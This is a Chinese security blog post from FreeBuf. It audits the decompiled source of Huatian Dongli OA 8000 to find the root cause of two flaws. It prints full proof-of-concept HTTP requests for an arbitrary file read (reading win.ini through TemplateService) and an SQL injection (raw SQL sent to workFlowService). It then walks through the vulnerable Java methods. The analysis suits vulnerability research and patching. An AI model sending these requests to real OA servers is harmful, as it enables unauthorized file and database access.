freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java代码审计 | 华天动力OA漏洞分析两则
2025-03-07 08:25:50
所属地 江苏省

前言

偶然获得了华天OA的一部分源码,查看对应的版本为华天动力OA 8000,这里结合漏洞来分析下如何根据茫茫大海般的源码,来分析漏洞产生点。我选择了两个漏洞来结合源码分析。

其一

第一个是任意文件读取漏洞,对应的poc如下:

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 
Content-Length: 101
Expect: 100-continue
Connection: close
<buffalo-call>
<method>getHtmlContent</method>
<string>c:/windows/win.ini</string>
</buffalo-call>

请求路径bfapp/buffalo是后端服务的地址,无法在静态路径中找到对应方法
所以需要在配置文件buffalo-service.properties里面查询对应的Service名称和包名称,TemplateService对应的包名称如下1737679956_6792e4545eaf061944204.png!small?1737679957568找到对应的jar包进行反编译,对应代码如下1737679984_6792e4702e20e78ced23e.png!small?1737679983888对应的方法如下图所示,名称为getHtmlContent1737680015_6792e48fb5c578b8a0fd2.png!small?1737680014936

/*      */   public String getHtmlContent(String htmlFileName) {
/*  768 */     if (htmlFileName == null) return null; 
/*  769 */     return OaTools.getFileContent(htmlFileName, this.sysInfo.getCharSet());
/*      */   }

其中调用的OaTools的方法导入自这个包1737680083_6792e4d3b4d02d85a2c03.png!small?1737680082117

对应jar包为oaapp_base.jar,但是没有找到这个方法。搜索了一下,最后在cnpower.jar的OaBaseTools里面找到了同样的getFileContent方法

1737680112_6792e4f0106c38ea4b52d.png!small?1737680114432

代码如下:

public static String getFileContent(String paramString1, String paramString2) {
    File file = new File(paramString1);
    try {
      FileInputStream fileInputStream = new FileInputStream(file);
      byte[] arrayOfByte = new byte[fileInputStream.available()];
      fileInputStream.read(arrayOfByte);
      fileInputStream.close();
      return (paramString2 == null) ? new String(arrayOfByte) : new String(arrayOfByte, paramString2);
    } catch (Exception exception) {
      exception.printStackTrace();
      return null;
    } 
  }

其中对应的charSet方法为获取utf8编码

1737680159_6792e51f3da5e41e10a22.png!small?1737680157631

方法中第一个传参为文件路径,第二个传参为编码,最后返回文件内容并判断是否编码,然后就能读取任意文件内容

其二

另外一个是SQL注入漏洞,poc对应如下:

POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
<buffalo-call> 
<method>getDataListForTree</method> 
<string>select user()</string> 
</buffalo-call>

继续看下workFlowService对应的包

1737680275_6792e593dee3874dad800.png!small?1737680274547

方法名称知道了,但是不知道在哪个jar包中,findstr搜索方法

1737680298_6792e5aa06f02e6869f73.png!small?1737680296602

对应的jar包为appservice.jar

进到代码中查看1737680330_6792e5ca36aba5c423acb.png!small?1737680328874对应的method为getDataListForTree,直接搜索找到方法源码

/*      */   public List getDataListForTree(String sql) {
/*  927 */     List<HashMap> dataList = null;
/*      */     try {
/*  929 */       dataList = getDatas(sql);
/*  930 */       if (dataList == null || dataList.size() == 0) return dataList; 
/*  931 */     } catch (OaException e) {
/*  932 */       e.printStackTrace();
/*      */     } 

传参字符串包含SQL语句,调用getDatas(sql)方法,追踪getDatas方法

/*      */   public List getDatas(String sql) throws OaException {
/*  889 */     if (sql == null || "".equals(sql)) return new ArrayList();
/*      */     
/*  891 */     Session hiSession = null;
/*      */     
/*      */     try {
/*  894 */       hiSession = TransactionManager.getInstance().getCurrentSession();
/*  895 */       HiOaBaseSQLManager event = new HiOaBaseSQLManager(hiSession);
/*  896 */       return event.executeQuerySQL(sql);
/*  897 */     } catch (Exception e) {
/*  898 */       e.printStackTrace();
/*  899 */       throw new OaException(e.getMessage());
/*      */     } finally {
/*      */       
/*  902 */       if (hiSession != null) {
/*  903 */         hiSession.close();
/*      */       }
/*      */     } 
/*      */   }

此处是直接执行了SQL语句,因此造成了SQL注入。至此可以看出漏洞利用都十分的简单

# 漏洞 # 渗透测试 # 网络安全 # web安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录